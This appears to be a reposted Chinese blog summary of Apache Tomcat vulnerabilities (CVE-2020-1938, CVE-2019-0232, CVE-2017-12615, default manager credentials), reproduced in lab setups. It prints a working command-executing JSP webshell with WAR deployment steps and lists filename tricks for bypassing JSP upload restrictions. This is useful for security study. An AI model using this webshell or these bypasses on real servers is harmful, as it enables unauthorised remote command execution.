tomcat漏洞總結


描述

Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發而成。由於有了Sun 的參與和支持,最新的Servlet 和JSP 規范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規范。因為Tomcat 技術先進、性能穩定,而且免費,因而深受Java 愛好者的喜愛並得到了部分軟件開發商的認可,成為目前比較流行的Web 應用服務器。

Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用服務器,在中小型系統和並發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認為,當在一台機器上配置好Apache 服務器,可利用它響應HTML(標准通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。

訣竅是,當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上運行JSP 頁面和Servlet。另外,Tomcat和IIS等Web服務器一樣,具有處理HTML頁面的功能,另外它還是一個Servlet和JSP容器,獨立的Servlet容器是Tomcat的默認模式。不過,Tomcat處理靜態HTML的能力不如Apache服務器。目前Tomcat最新版本為10.0.5。

漏洞總結

CVE-2020-1938 文件包含漏洞

CVE-2020-1938為Tomcat AJP文件包含漏洞。由長亭科技安全研究員發現的存在於 Tomcat中的安全漏洞,由於 Tomcat AJP協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意文件,例如可以讀取 webapp配置文件或源碼。

此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。

漏洞影響版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

漏洞分析

Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。復現發現Tomcat ajp協議存在web目錄下任意文件讀取漏洞以及JSP文件包含漏洞。
當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。

當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞

poc地址

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

這里不做復現

Tomcat后台弱口令漏洞

在tomcat8環境下默認進入后台的密碼為tomcat/tomcat,未修改造成未授權即可進入后台

復現

搭建環境,我使用的是9.0.46版本

訪問后台管理地址,使用tomcat/tomcat進入后台

war木馬的制作過程

找到一個jsp的木馬

<%
    if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然后在cmd輸出已下命令(注意是必須在java環境下的,必須使用管理員權限的)

jar cvf  +部署的war木馬 +自己bin目錄下的jsp木馬

木馬制作成功

上傳制作的war木馬

訪問上傳的1.jsp目錄然后就可以執行我們想要執行的系統命令

CVE-2019-0232 Apache Tomcat遠程代碼執行漏洞

漏洞原理

漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments 參數時,會根據RFC 3875來從Url參數中生成命令行參數,並把參數傳遞至Java的 Runtime 執行。這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的

Java的 Runtime.getRuntime().exec 在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess ,會將參數合並成字符串,作為 lpComandLine 傳入 CreateProcess 。程序啟動后調用 GetCommandLine 獲取參數,並調用 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe , 故最后會變成 cmd.exe /c "arg.bat & dir",而Java的調用過程並沒有做任何的轉義,所以在Windows下會存在漏洞

復現

Tomcat的 CGI_Servlet組件默認是關閉的,在conf/web.xml中找到注釋的 CGIServlet部分,去掉注釋,並配置enableCmdLineArguments和executable

這里注意一下,去掉注釋並添加以下代碼

<init-param>
  <param-name>enableCmdLineArguments</param-name> 
  <param-value>true</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>

然后在conf/web.xml中啟用cgi的 servlet-mapping

修改conf/context.xml的添加 privileged="true"屬性,否則會沒有權限

在C:\Tomcat\webapps\ROOT\WEB-INF下創建cgi-bin目錄,再在cgi-bin目錄下創建一個hello.bat文件

hello.bat內容

在文件后面追加我們要執行的系統命令

CVE-2017-12615 Tomcat遠程代碼執行漏洞(PUT請求)

首先聲明的是CVE-2017-12615漏洞的利用條件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件內容如:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

可以使用PUT方法上傳任意文件,但限制了jsp后綴的上傳

但是當我們利用Windows特性以下面兩種方式上傳文件時,tomcat並不認為其是jsp文件從而交由DefaultServlet處理,從而成功創建jsp文件。

evil.jsp%20
evil.jsp::$DATA

初次之外當我們上傳evil.jsp/ 類型的文件時(即以反斜杠結尾)時同樣會成功創建jsp文件,並且這種方式把PUT漏洞的利用擴展到了Linux平台及Tomcat的5.x-9.x的所有版本

環境搭建

這里使用vuluhub的docker進行漏洞復現,這里就不詳細介紹環境搭建了

訪問8080端口 對應的是Tomcat 8.5.19

使用burp抓包發現為get請求

將其改為PUT請求 並添加內容后發包 返回201

訪問1.html 可以看到我們剛才寫進去的內容

嘗試傳入jsp文件馬 返回404,並不能成功上傳文件

這時候就要用到我們剛才說的,因為我是vuluhub搭建的 所有可以使用1.jsp/來繞過

直接使用冰蠍進行鏈接

參考文章

https://mp.weixin.qq.com/s/CJ3e4lx0AlLq_zJI4rHw2A
https://blog.csdn.net/helloexp/article/details/89377270


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM